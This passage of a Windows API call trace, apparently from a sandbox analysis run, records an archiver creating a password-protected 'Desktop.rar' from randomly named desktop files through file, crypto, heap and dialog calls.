[5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0dde2f40) returned 0x0 [0070.991] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0dde2f40, hwnd=0x10284, tbpFlags=2) returned 0x0 [0070.991] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0dde2f40, hwnd=0x10284, ullCompleted=0x4e24cd, ullTotal=0x4f8c9e) returned 0x0 [0070.992] TaskbarList:IUnknown:Release (This=0x1ec0dde2f40) returned 0x0 [0070.992] GetLastError () returned 0x36b7 [0070.992] SetLastError (dwErrCode=0x36b7) [0070.992] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0070.992] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0070.992] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 96%") returned 5 [0070.992] SetWindowTextW (hWnd=0x102a4, lpString=" 98%") returned 1 [0070.992] GetLastError () returned 0x0 [0070.992] SetLastError (dwErrCode=0x0) [0070.992] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0070.993] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 94%") returned 5 [0070.993] SetWindowTextW (hWnd=0x102a0, lpString=" 98%") returned 1 [0070.993] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x60 [0070.993] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0070.993] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0070.993] GetFocus () returned 0x102a8 [0070.994] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0070.994] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.994] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.997] ResetEvent (hEvent=0x344) returned 1 [0070.997] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.997] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.998] ResetEvent (hEvent=0x344) returned 1 [0070.998] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.998] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0071.000] GetTickCount () returned 0x279f8 [0071.000] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16232828994) returned 1 [0071.000] GetTickCount () returned 0x279f8 [0071.000] GetTickCount () returned 0x279f8 [0071.000] GetTickCount () returned 0x279f8 [0071.000] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0071.000] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0071.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.000] ResetEvent (hEvent=0x33c) returned 1 [0071.000] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.000] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0071.001] ResetEvent (hEvent=0x33c) returned 1 [0071.001] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.001] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0071.001] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0071.001] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.001] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x4ce328 [0071.001] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x4ce393 [0071.001] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0071.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0071.002] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0071.002] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0071.002] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0071.002] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x8f10, lpOverlapped=0x0) returned 1 [0071.002] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0071.002] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.002] SetFilePointer (in: hFile=0x32c, lDistanceToMove=5038888, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4ce328 [0071.002] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x4ce328 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2bb0 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3120 [0071.003] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde3120, Size=0x48) returned 0x1ec0a657190 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde28b0 [0071.003] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde28b0, Size=0x48) returned 0x1ec0a6573c0 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657190 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde30f0 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde30f0 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde29d0 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2bb0, Size=0x48) returned 0x1ec0a657140 [0071.003] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657140, Size=0x7a) returned 0x1ec0a64a460 [0071.003] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x6b, lpOverlapped=0x0) returned 1 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde28e0 [0071.003] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6b) returned 0x1ec0a6597f0 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0071.003] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4d72a3 [0071.003] CloseHandle (hObject=0x350) returned 1 [0071.003] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.003] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.003] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0071.003] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.003] FindFirstFileW (in: lpFileName="_wLo_T-_xHQoQCx.mp4", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0071.004] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0071.004] CreateFileW (lpFileName="_wLo_T-_xHQoQCx.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\_wlo_t-_xhqoqcx.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0071.004] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0071.004] GetTickCount () returned 0x279f8 [0071.004] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0071.004] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0071.004] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0071.004] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0071.004] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="yo39-hWsdk Kwqd0cHA.flv") returned 23 [0071.004] SetWindowTextW (hWnd=0x1028c, lpString="_wLo_T-_xHQoQCx.mp4") returned 1 [0071.005] GetTickCount () returned 0x279f8 [0071.005] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0071.005] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0071.005] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0071.005] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0071.005] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x30, wMilliseconds=0x1eb)) [0071.005] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0071.005] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16233378185) returned 1 [0071.005] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x167d1, lpOverlapped=0x0) returned 1 [0071.006] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91b811, nNumberOfBytesToRead=0xe982f, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91b811*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0071.006] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.006] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2850 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c10 [0071.006] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2c10, Size=0x48) returned 0x1ec0a656dd0 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c800 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde31b0 [0071.006] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde31b0, Size=0x48) returned 0x1ec0a656f10 [0071.006] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c800 | out: hHeap=0x1ec0a590000) returned 1 [0071.006] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656dd0 | out: hHeap=0x1ec0a590000) returned 1 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2760 [0071.006] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2d60 [0071.006] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2d60 | out: hHeap=0x1ec0a590000) returned 1 [0071.006] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2760 | out: hHeap=0x1ec0a590000) returned 1 [0071.006] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2850, Size=0x48) returned 0x1ec0a656a60 [0071.006] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a60, Size=0x7a) returned 0x1ec0a64a190 [0071.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0071.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0071.008] GetTickCount () returned 0x279f8 [0071.008] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16233626426) returned 1 [0071.008] GetTickCount () returned 0x279f8 [0071.008] GetTickCount () returned 0x279f8 [0071.008] GetTickCount () returned 0x279f8 [0071.008] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.008] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.008] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.008] ResetEvent (hEvent=0x344) returned 1 [0071.008] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.008] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0071.009] ResetEvent (hEvent=0x344) returned 1 [0071.009] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.009] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0071.014] ResetEvent (hEvent=0x344) returned 1 [0071.014] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.014] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0071.016] GetTickCount () returned 0x27a08 [0071.016] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16234506113) returned 1 [0071.016] GetTickCount () returned 0x27a08 [0071.017] GetTickCount () returned 0x27a08 [0071.017] GetTickCount () returned 0x27a08 [0071.017] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0071.017] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0071.017] GetFocus () returned 0x102a8 [0071.017] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0071.017] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0071.017] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0071.017] GetFocus () returned 0x102a8 [0071.017] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0071.018] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.018] ResetEvent (hEvent=0x33c) returned 1 [0071.018] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.018] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0071.019] ResetEvent (hEvent=0x33c) returned 1 [0071.019] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.019] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0071.020] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0071.020] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x4d72a3 [0071.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x4d730a [0071.020] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0071.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0071.020] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0071.020] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0071.020] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0071.020] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x168a0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x168a0, lpOverlapped=0x0) returned 1 [0071.021] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0071.021] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.022] SetFilePointer (in: hFile=0x32c, lDistanceToMove=5075619, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4d72a3 [0071.022] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x4d72a3 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c70 [0071.022] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2c70, Size=0x48) returned 0x1ec0a656ab0 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c540 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2670 [0071.022] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2670, Size=0x48) returned 0x1ec0a656c90 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c540 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ab0 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3180 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde27f0 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde27f0 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde3180 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde29d0, Size=0x48) returned 0x1ec0a656dd0 [0071.022] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656dd0, Size=0x7a) returned 0x1ec0a64a610 [0071.022] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a613*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a613*, lpNumberOfBytesWritten=0xe414d8140*=0x67, lpOverlapped=0x0) returned 1 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2bb0 [0071.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x67) returned 0x1ec0ddfd8a0 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0071.022] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4edbaa [0071.022] CloseHandle (hObject=0x350) returned 1 [0071.022] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.022] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.022] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0071.022] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.022] FindFirstFileW (in: lpFileName="t1UTy", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0071.023] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0071.023] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0071.023] GetTickCount () returned 0x27a08 [0071.023] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0071.023] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0071.023] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0071.023] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0071.023] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="_wLo_T-_xHQoQCx.mp4") returned 19 [0071.023] SetWindowTextW (hWnd=0x1028c, lpString="t1UTy") returned 1 [0071.023] GetTickCount () returned 0x27a08 [0071.023] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0071.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f40 [0071.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde27f0 [0071.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2850 [0071.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a30 [0071.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2850 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde27f0 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2f40, Size=0x48) returned 0x1ec0a656c90 [0071.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, 